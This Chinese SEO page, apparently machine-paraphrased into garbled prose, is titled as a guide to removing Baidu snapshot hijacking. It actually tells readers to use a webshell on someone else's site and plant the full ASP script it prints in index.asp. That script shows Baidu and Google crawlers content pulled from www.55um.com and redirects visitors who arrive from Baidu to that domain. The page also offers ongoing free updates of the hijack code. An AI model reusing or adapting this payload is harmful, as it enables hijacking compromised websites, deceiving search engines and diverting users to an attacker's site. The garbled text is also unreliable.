百度快照绑架怎样删去_找出百度快照绑架文件办法
这个就是快照绑架只需对方网站更新了 那么 就是你的网站要害字 经过百度打开会进入你的网站
百度快照绑架
咱们先进入这个站的webshell
webshell简略来说就是网站控制权,是他人的网站。index.asp一般ASP主页是index就是主页 记住 代码是放到的上下代码咱们确保都是最新的,代码经常会过期用不了,或许被屏蔽。咱们会一向供给最新的代码免费的更新
webshell
ASP绑架代码
<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=/"/"
s_agent=Request.ServerVariables(/"HTTP_USER_AGENT/") '要害判别句子
if instr(1,s_agent,/"googlebot/",1) >0 then
GetBot=/"google/"
end if
if instr(1,s_agent,/"msnbot/",1) >0 then
GetBot=/"MSN/"
end if
if instr(1,s_agent,/"slurp/",1) >0 then
GetBot=/"Yahoo/"
end if
if instr(1,s_agent,/"baiduspider/",1) >0 then
GetBot=/"baidu/"
end if
if instr(1,s_agent,/"sohu-search/",1) >0 then
GetBot=/"Sohu/"
end if
if instr(1,s_agent,/"lycos/",1) >0 then
GetBot=/"Lycos/"
end if
if instr(1,s_agent,/"robozilla/",1) >0 then
GetBot=/"Robozilla/"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,/"GB2312/")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject(/"Microsoft.XMLHTTP/")
With Retrieval
.Open /"Get/", url, False, /"/", /"/"
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject(/"adodb.stream/")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot=/"baidu/" then
url=/"http://www.55um.com//"
wstr=getHTTPPage(url)
body=wstr
response.write /"/"&body&/"/"
response.end
elseif GetBot=/"google/" then
url=/"http://www.55um.com//"
wstr=getHTTPPage(url)
body=wstr
response.write /"/"&body&/"/"
response.end
end if
if instr(Request.ServerVariables(/"http_referer/"),/"www.baidu.com/")>0 then
response.redirect(/"http://www.55um.com//")
end if
%>
评论 0 条 请文明上网,理性发言
相关文章
-
一、如何让自己的网站快速被百度收录建立了自己的网站,就需要快速的让自己的网站被搜索引擎网站收录,如...
-
一、百度指数是什么百度指数(BaiduIndex)是以百度海量网民行为数据为基础的数据分享平台,是当前互联网...
-
搜索引擎优化是什么意思呢?可能对于很多人来说都不是很了解,那么搜索引擎优化的方法有哪些呢?下面给大...
-
一、提升百度排名的因素如何提高百度排名?就要做好以下操作了。1、关键词因素网页标题:标题中出现关键...
-
百度是我们使用频率比较高的一个搜索引擎,想要网站避免出现问题可以使用一些安全检测工具,百度网站安全...
-
现在网上建网站是越来越容易了,网上有很多开源代码,那么大家知道站长忽略的观点有哪些吗?下面给大家介...
-
很多人在网站上发信息的时候,都会看哪个网站的百度权重高就发哪个,这样收视率就会大大的提高,那么大家知...
-
进入从事SEO行业也都五六年的时间了,总是会听见很多人询问一个网站究竟每天发布更新多少票文章更适合...
-
友情链接也叫网站交换链接,可能对于很多人来说不了解,那么大家知道友情链接的作用是什么吗?在网站交换...
-
产生网站死链的方式有很多,很多时候都是能检查出来的,那么大家知道网站死链的方法有哪些吗?死链检查工具...